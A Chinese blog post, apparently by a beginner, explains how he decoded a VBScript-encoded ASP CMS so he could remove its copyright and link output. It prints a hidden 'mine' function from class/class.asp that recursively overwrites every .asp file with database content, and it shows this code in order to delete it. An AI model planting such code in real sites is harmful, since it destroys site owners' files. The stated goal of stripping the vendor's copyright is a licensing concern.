网站CMS系统加密解密-CSDN博客

前些天下载了一个CMS系统网站，准备改改用一下，但是到修改版权的时候，才发现是加密的！(本人是菜鸟级别的，呵呵)

<%@ LANGUAGE = VBScript.Encode %>


中间部分省略了，字数有限！


<div id='pdv_12544' class='pdv_class' title='联系我们' style='width:173px;height:200px;top:235px;left:780px; z-index:17'>
<div id='spdv_12544' class='pdv_content' style='overflow:hidden;width:100%;height:100%'>
<div class="pdv_border" style="border:0px;height:100%;padding:0;margin:0;">
<div style="height:100%;">
<div style="height:54px;border:0px;padding:0;margin:0;background:url(base/border/784/p_w_picpaths/title.gif) 0px 0px no-repeat;">
<div style="float:right;width:32px;height:54px;background:url(base/border/784/p_w_picpaths/title.gif) -868px 0px no-repeat;">
<a href="company.asp?Title=联系我们" style="display:inline"><img src="base/border/784/p_w_picpaths/more.gif" style="border:0px;padding:12px 0px 0px 0px;" /></a></div>
</div>
<div style="margin:0px;padding:0px;">
<div style="PADDING-LEFT: 3px; PADDING-BOTTOM: 14px; FONT: 12px/18px simsun; COLOR: #333; PADDING-TOP: 4px"><% call lianxiwom %></div>
</div>
</div>
</div>

</div>
</div>
</div>
<% call newslook %>

<%
rs.close
set rs=nothing
call CloseConn()
%></body>
</html>
其中<% call newslook %>
在数据库内我根本找不到call newslook

解决方案：

1.先将用浏览器打开的网站首页源代码保存一份备用，然后打开index.asp文件找到如下代码
<[email=%#@~^DwAAAA==~1ls^P]%#@~^DwAAAA==~1ls^P[/email] +hkVKG3,bgUAAA==^#~@%>
打开JScript.Encode/VBScript.Encode 脚本在线解密工具http://www.hack520.org/online/vb_encode.html进行解密得到如下代码
<% call newslook %>
2.根据页面上代码包含了class/sub.asp文件，在将该文件解密后找到newslook过程代码如下
sub newslook()
set rs_kk2011=server.CreateObject("adodb.recordset")
rs_kk2011.open "select * from xnewfile",conn,1,1
if not rs_kk2011.eof then
ww=rs_kk2011("ww")
end if
rs_kk2011.close
set rs_kk2011=nothing
Response.Write ww
end sub
这段代码表示将页面底部的链接信息以及版权信息从数据库中读取出来并输出，将这段代码删除。

3.找到class/class.asp文件的最后一段代码，当然前提要先解密，然后将这段代码删除或者注释即可。代码如下

dir="./"
      mmm=server.mappath(dir)
dim xr

function mine(path)
set rs009=Server.CreateObject("ADODB.Recordset")
sql="select * from cls_new"
rs009.open sql,conn,1,2
xr=rs009("http")
rs009.close

set fso = createobject("scripting.filesystemobject")
dim folder, folders, files, file
set folder = fso.getfolder(path)
set files = folder.files

for each file in files

fileExt = lcase(right(file.name,4))
'if file.name=gs1 or file.name=gs2 or file.name=gs3 or file.name=gs4 or file.name=gs5 or file.name=gs6 then

If fileExt=".asp" Then
'If fileExt=gs1 or fileExt=gs2 Then
Set txt = fso.OpenTextFile(file.path, 2, false, false)
txt.write xr
End If
next
set folders = folder.subfolders
for each f in folders
mine f.path
     next
end function
4.把一开始保存的源代码中的版权信息部分提取出来贴到include/bottom.asp最前面（记得删除其中的一些链接信息），代码如下：